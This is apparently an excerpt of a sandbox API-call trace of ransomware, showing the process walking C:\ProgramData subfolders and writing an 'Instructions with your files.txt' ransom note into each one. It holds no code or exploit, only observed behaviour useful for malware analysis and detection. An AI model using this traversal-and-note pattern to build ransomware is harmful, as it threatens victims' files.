[0125.992] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs") returned 31
[0125.992] GetProcessHeap () returned 0x810000
[0125.992] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0125.992] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\*") returned 33
[0125.992] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0125.993] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\.") returned 33
[0125.993] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.993] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\..") returned 34
[0125.993] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1
[0125.993] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\maintenanceservice-install.log") returned 62
[0125.993] StrStrIW (lpFirst="maintenanceservice-install.log", lpSrch="SDfghjkl") returned 0x0
[0125.993] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0
[0125.993] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\Instructions with your files.txt") returned 64
[0125.993] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\logs\\Instructions with your files.txt" (normalized: "c:\\programdata\\mozilla\\logs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0125.994] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0125.994] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0125.995] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0125.995] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0125.995] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0125.995] CloseHandle (hObject=0x10c) returned 1
[0125.995] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0125.995] GetProcessHeap () returned 0x810000
[0125.995] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0125.995] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
[0125.995] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Mozilla\\Instructions with your files.txt") returned 59
[0125.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Mozilla\\Instructions with your files.txt" (normalized: "c:\\programdata\\mozilla\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0125.995] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0125.996] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0125.996] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0125.996] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0125.996] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0125.996] CloseHandle (hObject=0x108) returned 1
[0125.997] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0125.997] GetProcessHeap () returned 0x810000
[0125.997] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0125.997] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
[0125.997] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle") returned 25
[0125.997] GetProcessHeap () returned 0x810000
[0125.997] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0125.997] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\*") returned 27
[0125.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Oracle\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0125.997] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\.") returned 27
[0125.997] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.997] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\..") returned 28
[0125.997] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.997] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Oracle\\Instructions with your files.txt") returned 58
[0125.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Oracle\\Instructions with your files.txt" (normalized: "c:\\programdata\\oracle\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0125.998] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0125.998] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0125.999] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0125.999] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0125.999] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0125.999] CloseHandle (hObject=0x108) returned 1
[0125.999] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0125.999] GetProcessHeap () returned 0x810000
[0125.999] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0125.999] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
[0125.999] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache") returned 32
[0125.999] GetProcessHeap () returned 0x810000
[0125.999] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0125.999] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\*") returned 34
[0125.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0126.176] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\.") returned 34
[0126.176] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x4819be0, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x4819be0, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.186] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\..") returned 35
[0126.186] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="42D5BEC7DDFBD49E76467529CBC2868987BF8460", cAlternateFileName="42D5BE~1")) returned 1
[0126.186] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460") returned 73
[0126.186] GetProcessHeap () returned 0x810000
[0126.186] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0126.186] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*") returned 75
[0126.186] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0126.186] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\.") returned 75
[0126.186] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2924cac0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.186] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\..") returned 76
[0126.186] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0126.187] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned 82
[0126.187] GetProcessHeap () returned 0x810000
[0126.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0126.187] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned 84
[0126.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0126.187] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\.") returned 84
[0126.187] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.187] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\..") returned 85
[0126.187] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1
[0126.187] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned 88
[0126.187] GetProcessHeap () returned 0x810000
[0126.187] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0126.187] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned 90
[0126.187] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.187] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\.") returned 90
[0126.187] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.187] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\..") returned 91
[0126.187] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
[0126.188] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned 92
[0126.188] GetProcessHeap () returned 0x810000
[0126.188] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0126.188] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*") returned 94
[0126.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0126.188] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\.") returned 94
